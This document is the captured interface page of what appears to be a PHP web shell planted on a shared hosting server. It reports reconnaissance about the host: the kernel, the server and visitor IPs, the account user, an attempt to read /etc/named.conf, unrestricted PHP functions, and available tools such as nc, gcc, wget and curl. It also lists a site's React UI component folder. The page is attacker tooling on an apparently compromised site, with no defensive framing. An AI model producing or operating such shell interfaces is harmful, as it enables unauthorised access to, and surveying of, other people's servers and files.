| Linux premium117.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64 |
| LiteSpeed |
| 162.0.229.114 | Your IP: 216.73.217.38 |
| Cant read [ /etc/named.conf ] |
| [ drwxr-xr-x ] |
| / home / sawaunyk / ebdaha.com / src / components / ui / |
| Operating System | : | Linux premium117.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64 |
| User / Group | : | 539[sawaunyk] / 539[sawaunyk] |
| PHP Version | : | 8.1.34 |
| IP Server | : | 162.0.229.114 |
| Your IP | : | 216.73.217.38 |
| Storage | : | Total = 4.12 TB, Free = 1.04 TB [25%] |
| Domains | : | Cant read [ /etc/named.conf ] |
| Software | : | LiteSpeed |
| Disable Functions | : | All function is accessible |
| Useful Functions | : | gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh |
| Downloader | : | wget, fetch, lynx, links, curl, get, lwp-mirror |
| CURL : ON | SSH2 : OFF | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : ON | Oracle : OFF | ||
| Safe Mode : OFF | Open Basedir : NONE | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE | ||
| Name | Type | Size | Owner/Group | Permission | Last Modified | Actions |
| . | dir | - | sawaunyk/sawaunyk | drwxr-xr-x | 2026-04-26 10:42:50 | |
| .. | dir | - | sawaunyk/sawaunyk | drwxr-xr-x | 2026-04-26 10:42:52 | |
| accordion.tsx | text/x-java | 1.93 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:41:59 | |
| alert-dialog.tsx | text/x-java | 4.21 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:00 | |
| alert.tsx | text/x-java | 1.51 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:01 | |
| aspect-ratio.tsx | text/x-java | 143 B | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:02 | |
| avatar.tsx | text/x-java | 1.33 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:03 | |
| badge.tsx | text/x-java | 1.06 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:05 | |
| breadcrumb.tsx | text/x-java | 2.62 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:06 | |
| button.tsx | text/x-java | 1.8 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:07 | |
| calendar.tsx | text/x-java | 2.5 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:08 | |
| card.tsx | text/x-java | 1.74 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:09 | |
| carousel.tsx | text/x-java | 6.1 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:10 | |
| chart.tsx | text/html | 9.75 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:11 | |
| checkbox.tsx | text/x-java | 1.03 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:12 | |
| collapsible.tsx | text/x-java | 320 B | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:13 | |
| command.tsx | text/x-java | 4.71 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:14 | |
| context-menu.tsx | text/x-java | 7.02 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:15 | |
| dialog.tsx | text/x-java | 3.67 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:16 | |
| drawer.tsx | text/x-java | 2.87 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:17 | |
| dropdown-menu.tsx | text/x-java | 7.09 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:18 | |
| form.tsx | text/x-java | 3.92 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:19 | |
| hover-card.tsx | text/x-java | 1.17 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:20 | |
| input-otp.tsx | text/x-java | 2.12 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:21 | |
| input.tsx | text/x-java | 799 B | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:23 | |
| label.tsx | text/x-java | 696 B | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:24 | |
| menubar.tsx | text/x-java | 7.68 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:25 | |
| navigation-menu.tsx | text/x-java | 4.91 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:26 | |
| pagination.tsx | text/x-java | 2.62 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:27 | |
| popover.tsx | text/x-java | 1.21 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:28 | |
| progress.tsx | text/x-java | 765 B | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:29 | |
| radio-group.tsx | text/x-java | 1.41 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:30 | |
| resizable.tsx | text/x-java | 1.66 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:31 | |
| scroll-area.tsx | text/x-java | 1.57 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:32 | |
| select.tsx | text/x-java | 5.44 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:33 | |
| separator.tsx | text/x-java | 698 B | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:34 | |
| sheet.tsx | text/x-java | 4.1 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:35 | |
| sidebar.tsx | text/x-java | 22.3 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:37 | |
| skeleton.tsx | text/x-java | 234 B | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:38 | |
| slider.tsx | text/x-java | 1.04 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:39 | |
| sonner.tsx | text/x-java | 877 B | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:40 | |
| switch.tsx | text/x-java | 1.12 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:41 | |
| table.tsx | text/html | 2.63 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:42 | |
| tabs.tsx | text/x-java | 1.85 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:43 | |
| textarea.tsx | text/x-java | 751 B | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:44 | |
| toast.tsx | text/x-java | 4.69 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:45 | |
| toaster.tsx | text/x-java | 730 B | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:46 | |
| toggle-group.tsx | text/x-java | 1.67 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:47 | |
| toggle.tsx | text/x-java | 1.38 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:48 | |
| tooltip.tsx | text/x-java | 1.13 KB | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:49 | |
| use-toast.ts | text/x-java | 82 B | sawaunyk/sawaunyk | -rw-r--r-- | 2026-04-26 10:42:50 |
© SEC